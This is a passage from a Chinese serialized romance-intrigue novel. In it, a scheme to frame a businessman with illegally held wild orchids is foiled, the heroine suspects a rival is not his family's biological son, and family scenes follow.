“你有兄弟姐妹吗?”夏灼灼问。 阿麦摇头:“没有,我是个孤儿,无父无母,也没有兄弟姐妹。” 这倒是对不上。 夏灼灼不露端倪点头,又问起霍刚。 阿麦回答说:“他一直跟着司小姐,就是那天那两个……” “我知道,司珏羽。” 阿麦就不再介绍了,说:“少爷担心她来沪城,会对夏三少不利,就一直让他跟着司珏羽。这阵子她很安分,如果有什么动静,我们会第一时间告诉您。” 夏灼灼道了谢便离开了。 阿麦因为有事跟司慎行汇报,所以也没送她,而是直接去了司慎行的办公室。 一进门,就看到了满屋的兰花。 他的目光落在那几盆价值不菲的鬼兰上,眉头微微一蹙,问起司慎行:“少爷,这是您从哪儿弄来的?” 司慎行正要打电话给季恒询问,没想到阿麦也问起了这个。 “你也认识这花?” “嗯,很稀有,但是我记得私人好像不方便持有太多。” 司慎行的神色更严肃了。 一开始夏灼灼提起这个的时候,他只当她是谨慎过头了。 毕竟这是季恒送来的。 对季恒,他从不设防。 同样的,季恒对他也没有任何的保留。 他们是兄弟,生死之交。 后来夏灼灼说季恒也有可能是被设了圈套,他就把这件事放在了心上。 现在阿麦也提起了这些草,他更重视这件事了。 “你找我什么事?”司慎行问。 “是孙市,他说要选一个模仿企业,觉得我们这里不错,说下午过来考察。我就赶紧过来跟你说一声。” 司慎行看看满办公室的兰花,二话不说,直接拨通了季恒的电话。 “立刻来我这里一趟。” 季恒那头叹气:“好哥哥,你有事怎么上午的时候不说?我刚约了个大美人见面喝咖啡呢。” “立刻过来。” 司慎行的语气很冷肃。 “顺便带上上午的你叫过来搬运兰花的工人。” 季恒总算意识到了不对劲。 “马上到。” …… 另一边。 柳月茹火急火燎回到家里。 “儿子!儿子!” 江泽正在研究快递刚送到的新面膜。 他的脸现在已经烂了。 在医院花了很多钱,都没治好。 所以他开始相信网上的一些偏方。 这个新到的面膜,就是网上说的一个全效的医疗面膜。 正要拆开,传来了柳月茹急切的喊声。 “别叫了。” 江泽烦躁地走到客厅。 饶是跟江泽住在一个屋檐下的柳月茹,乍一看到他逆着光出现,也被吓了一跳。 江泽的脸,实在是太吓人了。 他脸上的肉已经开始发烂发臭,巨大的脓包看着就让人反胃。 不过到底还是自己亲生的,柳月茹很快从惊吓中回过神来,一脸关心地问:“儿子,你的脸是不是又严重了?咱们要不还是去医院看看吧?” “看什么看?在医院花了多少钱了?有半点作用吗?” 江泽不耐烦地摆手,问她:“你刚才那么着急喊我,出什么事了?我不是让你白天都在S集团那边盯着?” “我刚从那里回来!打听到了一个大事!” “什么事?” 柳月茹就把今天听到的事一骨碌全说了出来。 江泽的脸色变了又变。 刚听到夏灼灼竟然是沪城首富的女儿的时候,眼神里满是惊愕和嫉妒。 一个从前在他们家摇尾乞怜的人,居然有这么好的家世。 后来听说沪城首富已经换人,夏家已经破产,他的脸色立刻阴转多云。 瞧吧,麻雀飞上枝头,仍然是麻雀。 变不了品种。 可柳月茹转头又说:“可是,她的命太好,他们家早年跟司家订了婚,那个司慎行……竟然真的看上她了,两个人看起来很亲密!” “哐当——” 江泽像是被一记闷棍敲晕了过去。 他是见到夏灼灼被司慎行的助理请到了楼上的。 当时他只以为,夏灼灼是恬不知耻爬了司慎行的床。 却没想到,人家是正经的未婚夫妻! “她的命……怎么这么好?!” 江泽几乎是从牙缝里挤出话的。 “怪不得我之前找的那个教训她的帮派,竟然帮着她!” “该死的!这个小贱人!现在是真的飞上枝头变凤凰了。” 话里话外都是嫉妒。 还有不甘。 在他心里,看到以前那个干干巴巴的黄毛丫头现在出落得这么漂亮,他早已经把夏灼灼当成了自己的所有物。 现在听说她是司慎行的未婚妻,他心里怎么可能会舒服? 第185章 跳入陷阱 而杜月茹想到的,是她跟江泽的生命安全。 “那个小蹄子,现在可能是顾不上我们,但要是想起我们来,一定会弄死我们的!” 江泽死死攥着拳头说:“必须要尽快把她弄到家里来!” 柳月茹一副“你疯了吗”的表情。 “不能这么做!” “她现在身份已经不一般了,你是没看到,她进公司,几十个保镖围着她!” “我们之前想把她骗到这里的计划是行不通了。” “儿子,我们不能再跟她硬碰硬了。” 比起江泽,柳月茹这次反倒想得更深远一点。 江泽带着丧气的愤怒问:“不硬碰硬,那怎么办?难道叫我去求她吗?就算我舍得下脸,她会放过我们吗?别忘了,你可是拿三万块把她卖了的。” 柳月茹脸色铁青。 但她到底年纪大一点,没江泽那么急躁。 “按我说,我们想不被她报复,只有让你赶紧把杜馨月娶回来。有杜家做靠山,我不信那个什么司的,能随便放任她动我们。” 江泽的脸一下子拉下来。 “你说的容易,怎么不看看我现在长什么样?她本来就是看中了我的脸才跟我在一起的,就我现在这个鬼样子,能出得了门吗?” “那就先把脸治好,再……” “我知道!” 这还用得着柳月茹说? 江泽有点后悔,为什么把柳月茹接过来。 他这个妈可能从乡下把晦气带过来了,她一回来,自己就毁了容。 柳月茹没看到儿子眼底的嫌弃,郑重地说:“这两天我就不去盯着了,反正已经打听到她的底细了。我帮你去问问,有没有哪家医院治皮肤病比较好的。” “不用问了,我到处都问过了,他们都不会治!” 江泽这阵子也不是每天躲在家里,而是一打听到哪个地方擅长治疗皮肤病的,就去戴着口罩出去看病。 但一无所获。 就在这时,江泽的手机铃声响起。 是杜馨月打过来的视频电话。 江泽这阵子不敢见杜馨月,一直找各种理由搪塞。 他挂断了视频电话,改用文字发消息。 “月月,怎么了?我现在在忙,不方便接视频。” 杜馨月很快回复:“你这段时间到底在忙什么?整天见不到人影。” “是一个很重要的项目……保密的项目。” “那好吧。我本来还想让你陪我去九珍堂呢。” “九珍堂?那是什么地方?” “是沪城很出名的一家中医馆啊,你不知道吗?” “你生病了吗?” “没有,就是前阵子去美容院,他们给我打错了针,搞得我有点烂脸。我听说九珍堂的医生很厉害,打算去看看。” 江泽一下子联想到了自己。 在烂脸之前,他也去过美容院。 看来真是美容院的问题! 他忙回复:“那你快去吧,等我忙过这段时间就来找你。” “好吧。” 江泽放下手机,在心里默念着九珍堂的名字。 他也听说过九珍堂,九珍堂坐诊的好像是叫落九针,医术很厉害。 只是没想到他也看皮肤病。 想到这,江泽再次拿出手机,问杜馨月什么时候去。 杜馨月回复:“已经准备出发了。怎么了,你要陪我去吗?” “我下次陪你,今天真没空。你看完给我发个消息,我好放心。” “行吧!” 江泽再次放下手机,等待了一个小时,杜馨月说自己看完准备回家了,还夸了九珍堂的大夫厉害。 江泽敷衍地回了两句后,立刻全副武装,前往九珍堂。 杜馨月都说好,那肯定没跑了。 他把所有的希望,都寄托在九珍堂了。 然而见到了落九针后,落九针一看他的脸就摇头。 “你这个太严重了,没法治。” 江泽像是被人浇了一盆冷水。 “不过——” 落九针话音一转,说:“我新研究了个东西,正需要做人体实验,你有没有兴趣?” 半个小时后,江泽从九珍堂里面出来。 他虽然戴着口罩,但那双眼睛炯炯有神,衬得他整个人都意气风发。 …… 另一边。 S集团沪城分部。 孙峥跃带着几个下属,以及本地电台的记者来了公司。 司慎行亲自出面招待。 沪城分部这边,主要做房地产项目,因而并没有厂房,只有几栋很大的办公楼。 司慎行领着他们参观了主楼第二层。 第二层是一个展厅,只有宽阔的一个大厅,墙面做的全是文化墙。 文化墙上展示着企业故事,还有这些年做的诸多公益项目。 孙峥跃看得很满意。 “不愧是S集团,企业文化历史悠久。你们配得上今年的沪城模范企业奖牌。你们其他人,都得跟司少学学啊。” 孙峥跃不仅带了电视台的记者,还带了其他几个企业的老总。 其中就包括死去的许菻兮的父亲,许郭元。 许郭元还沉浸在丧女之痛里,本来不想来,但孙峥跃说会给他一个惊喜,他就勉强来了。 但是,参观都要结束了,哪里有惊喜? 就是为了收视率,骗他来的! 所以除了心情不佳的许郭元之外,其他人纷纷附和,说司慎行年轻有为,S集团会越来越好。 司慎行抬了下手。 “几位过奖了。我年纪轻,不懂事,还得跟几位前辈多学习。” 其他人连忙说不敢。 他们人前都是大老板,但在司慎行面前却一点不敢拿乔。 哪怕只是随口恭维的话。 孙峥跃在这时候开口。 “素材差不多了吗?” 他是对记者说。 记者笑道:“拍的差不多了,不过得补个司先生的采访。” 孙跃峥说:“那就去慎行的办公室吧,慎行,怎么样?” 司慎行饶有深意地看孙峥跃一眼。 这一眼,让孙峥跃莫名有点后背发凉。 难不成是他察觉到了什么? 不应该的。 孙峥跃想继续观察司慎行脸上的表情,却是什么都看不出痕迹来。 “那就去我办公室吧。我办公室很大,几位不介意的话就一起上去?等我做完采访,请几位用晚餐。” 没等其他人开口,孙峥跃先答应下来。 “奖给你拿了,理应今天你做东!走吧!” 孙峥跃都开口了,加上司慎行请客,其他人哪怕还有别的安排,也不得不答应下来,跟着司慎行往楼上办公室去。 很快一行人就坐电梯,到了司慎行的办公层。 这一层的都是分公司的高层。 他们说话都很体面。 孙峥跃跟他们打了个招呼,就让司慎行带着他们去办公室。 司慎行看得出来孙峥跃跟高层们说话,很是心不在焉。 他轻轻扯了下唇,眼底尽是嘲讽。 但他藏得很深,没人看出来,只以为他是心情好。 在一旁全程看着的阿麦心知肚明。 少爷真的心情好的时候,可不是这样笑的。 这点从少爷每次见到夏小姐就能看出来。 很快到了办公室。 阿麦替大家推开了办公室的磨砂玻璃门。 里面的景象一览无余。 巨大的落地窗、很有设计感的办公桌、柔软的皮沙发,干净整齐的实木茶几…… 除此之外,就是一屋子的绿植。 孙峥跃只扫了一眼,都没仔细看那绿植,眉头就皱了起来。 “慎行,你怎么搞的?!” 突然拔高的音量,让所有人都朝孙峥跃看过去。 “孙市,有什么问题吗?” 司慎行一脸的茫然。 他从来都是一副胸有成竹的样子,容易让人忽略他的年轻。 现在露出一点茫然,就让孙峥跃觉得,再聪明有能力,终究也只是个二十几岁的黄毛小子而已。 孙峥跃更不顾忌那么多了,指着那些他看都没仔细看的绿植说:“你喜欢弄花弄草的没关系,但是你知不知道,你私人收这么多的珍稀兰花,这是犯法的事!” 话音落下,满屋子寂静。 所有人都露出了错愕的表情。 包括一开始心不在焉的许郭元。 孙峥跃瞥见大家的神情,心里满是不解。 大家为什么这么看他? 是震惊自己竟然敢指出司慎行的错处吗? 想到这,孙峥跃飞快地平静下来,继续指责司慎行。 “你平时高调就算了,但高调也该用在对的地方。你看看你,怎么能做这种犯法的事呢?这些兰花,都是野生的吧?你身边难道没有一个懂华夏国法律的人吗?私人是径直持有大量的野生珍稀兰花的。” 司慎行表情平静地看着孙峥跃。 他的目光如寒潭般幽深,不疾不徐,却仿佛一把无形的利刃,能隔开孙峥跃身上所有的伪装。 孙峥跃徒然感觉身上发凉。 像是被某种危险动物锁定了。 “你、你这么看着我干什么?” 司慎行突然笑了。 “孙市,您眼睛不好,可以自己申请提前退休。东西都看不清楚,却坐在这么重要的位置上,于己于人,都不好。” “什么意思?” 还是许郭元走上前提醒。 “孙市,您看错了,这儿哪有兰花啊?” “这没兰花啊,孙市。” 其他人也纷纷说。 不比孙峥跃的急切,其他人进了办公室,都是平静地打量着屋子里的一草一木。 所以除了孙峥跃之外,所有人都看得清楚,这里的绿植里,没有一盆是兰花。 全是平常花鸟市场都能买到的普通绿植。 第186章 打脸,孙峥跃 孙峥跃很自信。 他觉得自己跟窦部长的计划万无一失。 所以打从踏进公司大门那一刻,他脸上就浮现着笑意。 哪怕刚才在厉声诘问司慎行,心里也是在笑的。 他笑司慎行黄口小儿,不知天高地厚,竟瞧不上他的宝贝女儿,今天他就会狠狠摔一个跟头。 所以当众人说这里没有兰花的时候,孙峥跃没有丝毫的惊慌。 只是觉得这些人都瞎了。 或是,他们不识货。 毕竟是很稀有的野生兰花。 若不是窦部长介绍,他都不认识那些花。 直到—— 孙峥跃准备开始跟他们科普办公室里的这些“兰花”。 他歪着头,抬眼看过去。 想找出其中最珍稀的一盆“鬼兰”的时候,才终于看清楚,这屋子里的绿植究竟都是些什么。 办公室里的绿植放的满满当当。 不是多肉,就是含羞草、仙人球、龟背竹…… 唯一跟兰花扯得上关系的,就是办公桌上的那盆蝴蝶兰。 可蝴蝶兰,谈不上珍稀,就是乡下人家也会在家里阳台放上一盆。 孙峥跃所有的表情都凝滞在了脸上。 一双原本就眼白很多的眼睛,让他的表情看起来更加扭曲怪异。 可他根本顾不上做表情管理,因为他的脑子乱成了一团,脑子里三个字飘来荡去:怎么会? 怎么会没有兰花! 他跟窦部长弄的那些兰花呢? 他明明坐在他的小汽车里,亲眼看到季恒亲自带人把兰花一盆一盆都搬进了公司大楼的。 他还找了那些搬运工打探过。 兰花全都搬进了司慎行的办公室的! 可现在,哪里有兰花的影子? 孙峥跃的脸色黑了又白,不一会儿又变得铁青,像是一个调色盘。 司慎行在这时笑着开口:“孙市,您今天回去就去眼科挂个号吧。如果找不到好医生,我可以推荐给厉害的医生给你。” 孙峥跃骤然回神,努力在脸上挤出笑。 “是我老眼昏花了,抱歉,你别放在心上。” 司慎行幽幽看他一眼。 “如果只是老眼昏花了还好,戴个老花镜也就解决了。但如果是犯了癔症,那就大事不妙了,您说呢?” 阿麦在这时候接口:“孙市,您别不是真的犯癔症了吧?不然怎么会刚一进来,就指责我们少爷持有大量野生兰花呢?” 孙峥跃脸色难看,却还努力在强撑笑容。 “可能是昨晚没睡好……” 其他人面面相觑。 这几个人一唱一和,已经让他们猜到了事情的大概。 孙峥跃是想借着“模范企业”,寻司慎行的错处。 这个错处,大概率是孙峥跃自己安排的,所以他才那么笃定,司慎行非法持有大量野生兰花。 而司慎行应该是识破了孙峥跃的计划,提前把该处理的东西都处理掉了。 意识到这一点后,在场的几个商界老总们脸色都不大好看。 孙峥跃想对付司慎行,别把他们牵扯进来啊! 尤其许郭元。 他本来就在司慎行身上吃了太多的亏,今天要是又被记恨上,那么,他们许家,算是彻底完了。 他虽然有时候做事也不过脑子,但死了一个女儿,已经让他清醒过来。 他在司慎行身上付出的代价,已经够大了。 他不会再与他为敌。 能避就避。 于是许郭元率先开口:“孙市,司先生,我突然想起来公司还有点急事要处理,今天的饭局我就不参加了,先告辞。再会!” 有许郭元打头阵,其他人也纷纷开口道别。 而记者们见情况不对,也很快开溜了。 这里面的人里,他们是最惹不起司慎行的。 阿麦出去送客,很快办公室里就只剩下孙峥跃和司慎行。 司慎行仍旧是一脸的笑容。 只是笑意未曾到达眼底。 他见孙峥跃的脑子还没完全清醒,便给了一记重击。 “孙市,回头如果见了窦部长,还请代我问声好。” 这话果然如同一声闷雷,生生把孙峥跃打醒了。 司慎行竟然猜到了是窦部的手笔。 那么窦部如果知道自己没成事,反而让司慎行迁怒到了窦部的身上,窦部会怎么对自己? 孙峥跃的后背冒出了一层冷汗。 “司先生开玩笑了,我调到了沪城,轻易怎么有机会见到窦部?我还有事,就先走了。” 他几乎是仓皇逃离。 生怕自己晚走一步,会被司慎行看出更多。 也是到了这一刻,他才算是明白,自己太轻视司慎行了。 因为司慎行的年轻而轻视他,是孙峥跃犯的最大的错误。 他后悔不迭,心里满是后怕。 司慎行望着孙峥跃的背影,低低地冷笑了一声。 两分钟后,阿麦回来了。 说所有人都走了。 司慎行这才开口:“出来吧。” 只见办公室左侧一道看不出是门的门被人从里面打开。 季恒从里面走了出来。 他额头上满是冷汗。 “阿行……我差点就犯了大错,连累死你了。对不起!” 他很少露出这样惶恐的表情,平时从来都是一副玩世不恭的样子。 司慎行拍了下他的肩膀。 “你不是有意的,而且错误也提前修正了。” 季恒垂下头,懊丧地说:“我真没有想那么多……而且也不懂这些。” “你仔细说说看,那些兰花,你是从哪儿弄的?” 孙峥跃到来之前,他们光顾着忙搬花的事了,压根没时间讨论这些。 现在,他们可以坐下来好好分析了。 季恒急忙解释—— 前一天,季远打电话给他,说他在沪城有个植物园,因为租金到期,他不打算再续租了,所以里面的一些珍贵的花草拜托他处理。 季远说,要卖还是送人,都随他,总之帮忙处理一下。 季远这人,虽然心思深重,但从来都不是小气的人。 所以他把那些名贵花草交给他处理,他根本没有怀疑任何。 “他说他的太太还沉浸在丧子之痛里,他分身乏术,来不了沪城。” “我知道嫂子的确很伤心,也就没多想,觉得是顺手的事儿,就答应了下来。” “然后我就想到了你……” “我就选了那些工作人员说比较名贵的,全都一股脑送到了你的办公室。” 说到这,季恒几乎紧张到在大喘气了。 一想到自己差点害的司慎行跳进孙峥跃布置的陷阱,他就恨不得扇自己两耳光。 “还好你懂兰花,觉得不对劲,叫我把那些话全部都处理掉。否则、否则我真是没脸见你。” 司慎行摇摇头,道:“这次的端倪不是我发现的。” “那是?” 季恒看向阿麦。 阿麦道:“是夏小姐先提出来,觉得事情不对劲的,后来我也觉得事有蹊跷,少爷才连忙叫您过来。” “竟然是她……她比我之前以为的更聪明。” “嗯。”司慎行很自豪地点头,说:“一开始我觉得是她敏感过头了,说你不可能会害我。她说,你也有可能跳进了别人的陷阱,我才觉得有问题。” 季恒说:“我得谢谢她,请她吃顿饭。” “用不着,我会请她。” “怎么?你还怕我跟你抢她?放心,借给我一百个胆子我也不敢。” 司慎行抬了下眉,才算答应。 他又问:“季远那边如果问起来,你知道怎么回答吗?” 季恒点头,眼底蓄着平日罕见的阴冷。 “我知道他不是什么好东西,你也早就劝我,要早做准备对付他。但我就是狠不下心,觉得再怎么样,他也是我大哥,不至于鱼死网破。但是……我现在改变主意了。” 司慎行点了下头,道:“早做准备吧。他从小心机就深,以后指不定还要怎么对付你。这次如果我栽了,你也得被牵连,受益者只有他。” “就是没想到他已经搭上了窦部这条船。” “正常。不过你也不要太着急,在想好万全之策之前,不要轻举妄动。我们要么不出手,但凡出手,就得确保能百分百成功。” “嗯。” 季恒想了想,说:“或许,我请嫂子吃饭的时候,可以问问她的意见。” 司慎行点头。 “可以,她很聪明,又有女人天生的心细的优点,或许比我出的主意更好。不过有一点,不要把她牵扯进来,问问意见就行了。” “放心,这点道理我还是懂的。把谁牵连进来,都不能把嫂子牵连进来。” 季恒一口一个嫂子,司慎行眼角沾了点蜜似的,很得意。 “怪不得那些女人喜欢你。”司慎行说。 “怎么?你也喜欢我?” “滚!老子只喜欢女人!” “你要实在满意我,我也可以去趟泰国。” “别恶心老子。” 两个人开始互怼,完全没有因为兰花的事情生出任何嫌隙。 “对了。那些兰花怎么处理?”季恒问。 因为知道公司外头有人盯着,所以兰花是放在了司慎行办公室里的休息间,没有运出去。 休息间有隐藏门,孙峥跃等人不可能知道。 “我问问灼灼。”司慎行说:“她好像对这些挺感兴趣的。如果她不要,你再处理。” 提起夏灼灼的时候,他总算眼角带笑。 季恒一阵唏嘘。 这铁树不仅开了花,还大开特开。 司慎行打电话给夏灼灼的时候,她正在暗部做一样东西。 第187章 太单纯了 电话铃声突然响起,惊得夏灼灼手一抖。 做了两个小时的东西,差点毁了。 这是个很精细的活,一个不小心前面的努力就都白费了。 好在她最后稳住了手。 但看到来电显示,她还是选择放下手里的活,接通了电话。 “喂?什么事?” “孙峥跃下午来公司了。” “孙市?” “嗯。” “他来做什么?” “要给我们评模范企业,还带了记者来采访我,还偏偏选择在我办公室里采访我……” 他绘声绘色地描述起当时的景象。 “你是不知道,孙峥跃那张老脸,气得都要把皱纹熨平了,跟个河豚似的。” 夏灼灼笑不出来。 她神色严肃地说:“这么说,孙市就是幕后主使。” 她像是在自言自语,分析着事情。 “孙峥跃是窦系的人,他敢这么做,一定是窦家人在背后指使。只是窦家为什么要对付你?得罪你,对他们没好处。” 夏灼灼能分析到这里,司慎行已经很惊喜了。 他解释说:“大概是窦家听说我跟你走得近,心里着急了。这几年,我们司家明面上是中立,但私底下跟窦、党两家都有往来。你是夏家的女儿,他们怕我们最后选择站在党家。” “那他更不应该对付你了。而且就算他们的计划成功了,也没法真的把你关起来。” 司家有最好的律师团队。 几盆兰花,说是罪名也不是罪名,赔点钱也能了事。 想到这,夏灼灼突然自己想通了。 “他们的目的不是对付你,而是想卖你一个人情。先让孙市找到罪名安在你头上,再由窦家人出面,把这件事解决,你就欠他们一个人情。” “没错,你猜的很准。” 司慎行的语气里是说不出的满意。 夏灼灼聪慧、敏锐、果敢,一点就通。 他知道,就算夏灼灼是个长相平平无奇的女孩子,自己也一定会被她吸引。 他看上的,从来都不是夏灼灼的外在,而是她从里到外绽放出来的光彩。 能遇上这么一个人,他算是上辈子积德了。 只听夏灼灼又问起了季恒。 “季恒是怎么着了孙峥跃的道的?” 她不觉得季恒是背叛了司慎行,否则哪怕毁掉了孙峥跃的计划,司慎行的心情也不会这么好。 “是他那个大 哥跟窦季搭上了关系……”司慎行解释起来。 夏灼灼听完,一脸了然。 “我跟季远打过交道,是个心机很深的人,季恒不够精明,被他算计也是意料之中。” “他不是不够精明,季恒很聪明,他只是……太单纯了。” 说一个花花公子单纯,这是很荒唐的。 但夏灼灼同意司慎行的说法。 “心软善良,有时候是致命的。” 司慎行也赞同:“是这个意思。不过这次,他应该会放下最后的心软了。” “他打算对季远出手了?” “还没想好具体的计划。” 夏灼灼沉默了两秒,说:“能帮我约一下他吗?我有几句话想对他说,是关于季远的。” “巧了,他走之前正说要请你吃饭,谢谢你这次的提醒。估计一会儿就给你打电话了。” “好,我知道了。我等他的电话。” 司慎行那边突然陷入了沉默。 夏灼灼还以为是这里信号不太好,毕竟这儿是郊区。 只是没等她调整无线网络,司慎行再次开口了—— “你对季恒都比对我上心。” 语气中带着明显的委屈。 夏灼灼一噎。 终于还是有点无奈地解释:“我帮他就是帮你,你有什么好委屈的?” “所以你帮他,只是为了帮我?” 夏灼灼有些违心地说:“是……” 其实更多的是为了帮自己。 季家如果是季远当权,以后靠向窦家,对她没好处。 当然,也算是帮司慎行。 司慎行跟季恒的关系如同手足,季恒成为季家的话事人,对司慎行只有好处没有坏处。 所以……她也不算是在撒谎。 司慎行听出了她语气里的僵硬,但仍然很开心。 ——她都愿意撒谎哄他了,这是一个很大的进步,他还有什么不痛快的? “那些兰花,你要吗?”司慎行问。 “你没扔掉?” “我看你好像很感兴趣。” “我要。”夏灼灼解释:“好几种都可以当成药材,直接扔掉,太浪费了。但是用来当药材还能救人,也不会被人发现。” ——制成药材的兰花,不会引人注意。 “好,那我打包好,偷偷给你送过去。” “好。” 就在这时,季恒的电话打进来了。 夏灼灼跟司慎行说了 一声。 司慎行这次没多话,直接挂断了电话,让他们两个聊。 季恒先打了招呼,然后开门见山地说:“这次的事情多亏了你,如果不是你提醒,我就害惨了阿行了,到时候肯定会悔得肠子都青了。” 夏灼灼笑着说:“也不都是我的功劳,司慎行刚才跟我说了,阿麦也提起了兰花的事,我就算不说,司慎行从阿麦那里也能猜到不对劲。” “但还是得谢谢你……不介意的话,明天我请你吃晚饭吧?” “好啊。”夏灼灼利落答应下来。 “那就还去四季阁?” “好。” 约定好时间,夏灼灼挂了电话。 她回想自己跟季恒见面的几次。 他虽然花名在外,但是对她从来不流露出半分放荡,眼神也很干净,是个正派的人。 所以季恒身上传出来的那些不好的传闻,大概率都是季远的手笔。 有这样一个哥哥,也真是倒了血霉了。 只是她很奇怪,作为哥哥,怎么要费这么多的心思对付自己的弟弟? 如果是为了争夺以后季家的话事权,也不对…… 因为从司慎行告诉她的事情看出,从很小的时候,季远就开始暗暗针对季恒了。 那个时候,大家对什么继承权完全都还没有概念。 这很奇怪。 夏灼灼在心里留了个心眼。 她擅长一心二用,一边继续进行她手里的活,一边思考着季远的异常。 很快她心里生出了一个猜测。 但……太离谱,她及时打住了这个念头。 等到天色完全暗下来,夏灼灼手里的活才终于做完。 她把做的东西小心翼翼装进一个淡黄色的液体箱里,密封好,交给秋雨。 “你帮我拿去九珍堂给落九针。他知道这东西怎么用。” “好!” 秋雨立刻答应。 她很久没见到落九针了。 她跟她爷爷关系好,跟自己的父亲却很疏远,所以她把落九针当成了半 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夏灼灼这才说明来意。 “我怀疑,季远不是季家亲生的儿子。” 她想到的离谱的猜测,就是这个。 因为知道自己不是亲生的,而弟弟是亲生的,所以从小就设计让弟弟在父母心里留下不好的印象。 否则作为长子,成绩优异,乖巧听话,又有抱负,季家两位没道理越过大儿子,让小儿子这个不学无术的“纨绔”继承家业。 可如果她的猜测是对的,那么季远的所作所为,逻辑就都通了。 甄凝吃了一惊,但很快冷静下来。 她说:“季恒长得很像我婆婆,但季远跟我婆婆和我公公的确没有一点相似的地方……” 又补充道:“曾经有一次,我偶然听到我公公对我婆婆说,季恒这么糊涂荒唐,以后怎么放心把家业交给他?” 夏灼灼听了,觉得自己的猜测很大可能是对的。 她道:“你能帮我采集季远的血液吗?” 甄凝很自信地说:“能。” 因为季远有糖尿病,他一天要测很多次血糖。 很多时候,都是甄凝帮着测的。 采集他的血液非常简单。 “那你尽快……帮我安排用他的血做一个亲子鉴定。” “没问题。”甄凝说到这,重重吐了一口气,说:“如果他真的不是,那么,一旦我搜集到证据,季家一定不会再留他。” 这不只是帮夏灼灼,更是帮她自己。 所以甄凝会很用心做这件事。 这也是夏灼灼敢跟甄凝说自己离谱猜测的原因。 通话结束,夏灼灼又在自己的脑子里复盘了一下,觉得自己的猜测,有七八分是准确的。 不过还得等最终结果出来。 回到夏家。 客厅里只开了暖光,几个哥哥都在,正围着茶几看什么东西。 “小七,你回来了。”夏六第一个发现夏灼灼,连忙朝她招手:“你快来看看我的设计!” 夏灼灼点头,走近了才知道他们在看什么。 是在看夏六设计的S集团第二代的汽车外观。 他这阵子忙的热火朝天,就是在忙这个。 但他们现在看法不一,所以需要夏灼灼来评价。 第188章 帮你对付他 “小七,你看看,我觉得我的设计很好,他们觉得不好。”夏六有点不服气地说。 夏灼灼仔仔细细看了3D设计图。 片刻后,她在几个哥哥期待的目光中开口:“我觉得很不错。” “为什么?”三哥夏怀乐说:“这不就是缝合车吗?车头像保时捷,车屁股像……” 夏灼灼打断他:“三哥,你知道这台车大概卖多少吗?” 夏怀乐道:“第一代的电车卖三十万,第二代最多也不会超过四十万吧?” 夏灼灼笑道:“三四十万能买一辆酷似豪车的车,你不觉得很划算吗?” “可是开出去会被人笑话吧?” 夏灼灼说:“那是你。你身边都是有钱人,你开一辆类似赝品的车出去,他们当然会笑你。但这个世界上,最多的是普通人,普通人喜欢花小钱办大事,他们追求高级感,而六哥的设计,满足了普通人这个需求。” 顿了顿,她又补充道:“这辆车的目标群体,本身就不是有钱人。” 夏怀乐听的沉默了。 夏六却很高兴。 “我也是这么想。” 夏灼灼看他一眼,问:“这种东西,可以拿回家给我们看吗?不用保密?” 夏六笑道:“你放心,是我把设计拿给慎行哥看的时候,他让我拿回家问问你们的。” 夏灼灼稍稍放心。 她说:“这个设计没有什么问题,我觉得很好。” 她没说的是,在她去过的几个平行设计里,卖得最好的几款电车,都是酷似豪车的设计。 所以她很笃定,夏六这个设计没错。 虽然每个世界都有自己的运作规律,但是大部分东西是一致的。 夏六放心了。 夏太太在这时候跟许姨一起端了两盘串好的鲜牛肉出来。 “我叫夏管家在外面支了烧烤架。” 这话一出,兄弟几个立刻欢呼起来。 一家人其乐融融,去了外面草地上烧烤。 夏怀呈很细心,拿了蚊香过来点上。 虽然入秋了,但草地上还是有些蚊子。 夏六吃着吃着,直接躺在了草地上,还招呼夏灼灼一起躺。 “小七,来看月亮!” 夏太太骂他自己埋汰别带妹妹,夏灼灼笑了笑,也过去躺着了。 身体躺倒在松软的草坪上,很舒服。 耳边是几个哥哥的打闹声,以及炭火发出噼里啪啦的声音。 这一刻,夏灼灼觉得全身心都放松了。 她竟然就这样睡了过去。 第二天醒过来,人已经在自己的大床上。 下楼的时候,许姨跟她说了她才知道,几个哥哥为了商量怎么把她抱回房间而不吵醒她绞尽了脑汁。 夏灼灼心中一暖。 她的睡眠中规中矩,不算好,也不算太差。 但如果中途被吵醒,后半夜肯定睡不踏实。 又想起昨晚的舒适,夏灼灼觉得今天的天空都蓝了不少。 因为今天晚上约了季恒吃饭,加上要等甄凝的消息,所以她没有出门。 结果中午的时候正好来了客人。 是冯太太,温暖。 她把自己的儿子冯淮安也带上了。 冯淮安已经十岁了,但他个头比同龄的小孩子要矮一些。 那天冯淮安意外从喷泉池摔下来的时候,夏灼灼看到他,还以为他只有六七岁、七八岁。 总之,完全没想到他已经十岁了。 而且冯淮安说话也不是很清晰,但智商却没有问题。 寒暄之后,冯太太说:“灼灼,你医术好,能不能帮我看看安安?” 夏灼灼检查了他一番,说他需要打增高的激素。 “还有一个问题,他舌系带有问题,所以发音才会不准。” 冯太太点头。 “我带安安去做过检查的,也是说舌系带有问题。但是我不知道哪家医院好……” 夏灼灼说:“如果您相信我,我可以为安安做这个手术。” 冯太太喜形于色。 “这可太好了!如果是你做手术,安安一定会放心很多。” 夏灼灼微笑。 正好夏太太带着安安出去草坪玩,冯太太便说起了这次过来的真正目的。 “窦部长给我们寄了安安的十岁生日礼物,礼物很贵重……我先生让我来问问你,要怎么处理这个礼物?” 夏灼灼心中微松。 她今天还很担心冯太太过来是有什么变故。 现在冯昭阳愿意让冯太太过来问她的意思,这是很明显的示好。 倒不是真的要问她要怎么处理那件贵重的礼物,只是想让夏灼灼知道,他们对于这份礼物,并不感到高兴,她不用担心他们会被收买。 夏灼灼说:“既然是给孩子的,那就收下吧。我记得很快就到窦部长的生日了吧?到时候,您也回一份厚礼回去。” “好。”冯太太应下了,随后又提 起一件事。 “夏琉璃被关进监狱了,我听说,你跟她关系不好,又觉得她到底是夏家的养女,所以想问问你,要不要‘照顾’一下。” 这个“照顾”有两个意思。 到底是哪个意思,要看夏灼灼的态度。 夏灼灼很平静地说:“正常对待就好。” 她不会逼死夏琉璃。 夏琉璃这种人,让她好好看看夏家怎么重回巅峰比让她死更痛苦。 “好,我知道了。” 冯太太在夏家吃了午饭才走。 走的时候冯淮安还恋恋不舍。 “天使姐姐,你要多来看窝,窝在家,很无聊。” 夏灼灼微笑答应。 “好。” 心里却知道,她不能常去冯家,会引人注意的。 只是冯淮安的病,她会帮他治好,让他能跟同龄人一样,口齿清晰。 现在年纪小,这样说话,别人觉得可爱。 可如果大一点,就会有人笑话他。 夏灼灼会让他避免出现这种情况。 她跟冯太太定了,下周为冯淮安做手术。 